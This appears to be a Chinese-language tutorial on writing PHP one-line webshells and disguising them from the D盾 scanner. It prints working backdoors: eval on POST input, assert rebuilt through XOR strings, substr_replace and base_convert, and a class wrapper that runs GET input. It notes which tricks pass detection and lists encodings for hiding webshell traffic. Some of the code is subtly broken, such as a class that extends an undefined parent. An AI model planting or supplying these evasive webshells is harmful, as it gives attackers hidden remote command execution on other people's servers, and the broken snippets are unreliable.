原理

一个最简单的一句话木马构造如下:

1
<?php eval($_POST['shangzeng']);?>

这里可以简单看成两个部分,首先是命令执行部分,其次是传参接收部分。这两部分构成了一个最简单的后门,而我们要做的就是对这两部分进行混淆,从而达到绕过的目的。

命令执行部分

一般使用这两个函数进行:eval和assert

eval语言构造器,它不可以被用户定义或者添加到语言扩展或者库中,也不能被可变函数调用。而assert是一个断言函数,如果传入的是字符串,那么就会当做代码执行,assert可以被可变函数调用。

1
2
<?php $a=eval;$a("phpinfo();") ?>    #报错   
<?php $a=assert;$a("phpinfo();") ?> #执行

相对于eval的“不可拆分”,利用assert的这个特点,我们就可以进行加密混淆,从而达到免杀的目的(assert在php7版本也成为了语言构造器,同样也不可拆分调用了)。如果我们选择eval或者高版本的assert作为命令执行,那就要在后面的传参上做文章。

常见绕过方式

异或绕过

异或运算是编程中常见的一种运算,用^或XOR表示,简单总结就是异或运算的两边如果相同,那么结果就是false,如果异或运算的两边不同,那么结果就为true。比如在6^3中,首先是都转化为二进制然后异或,最后是101,也就是5。而字符串的异或是转换成返回对应字符的ascii码:

1
2
6=》110=》101
3=》011=》101

经过异或后,就能让D盾静态检测不到危险函数的存在,但是还会爆危险函数,变量函数等

1
2
3
4
<?php
$shang='tpY<$*'^"\x15\x3\x2a\x59\x56\x5e";
@$shang($_GET['a']);
?>

利用字符转换函数进行绕过

php中存在许多字符串转换函数,利用这些函数对assert进行转换从而达到绕过的目的。

有兴趣可以去php手册PHP String 函数中找,或者去寻找能构造字母拼接的函数,这里写一些我测试过的:

1
2
3
4
5
substr_replace("astest","sert",2);    函数把字符串的一部分替换为另一个字符串【D盾通过】
substr("helloassertaaa",5,6); 返回字符串的一部分【D盾不通过,需要二次拼接】
chop() 函数移除字符串右端的字符【D盾不通过,需要二次拼接】
strrev() 函数反转字符串【D盾不通过,需要二次拼接】
base_convert(653016521,10,36) 进制转换函数,36进制转换成10进制【D盾通过】

传参格式部分

利用种种语言特性来绕过静态查杀的匹配规则,从而达到绕过的目的,常见的有类调用,反序列化,编码,垃圾代码填充,等等方式。下面举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class test{
public $name;
public function __wakeup(){
$name= $_GET["shangzeng"];
return $name;
}
}

class test1 extends test {
public $aaa;
}

class test3 extends test2 {
public $aaa;
}

$s = new test3();
$shang = base_convert(653016521,10,36);
$zeng = $s->__wakeup();
$shang($zeng);
?>

验证

流量部分

  1. base64

  2. unicode

  3. rot13

  4. 自己写一些加密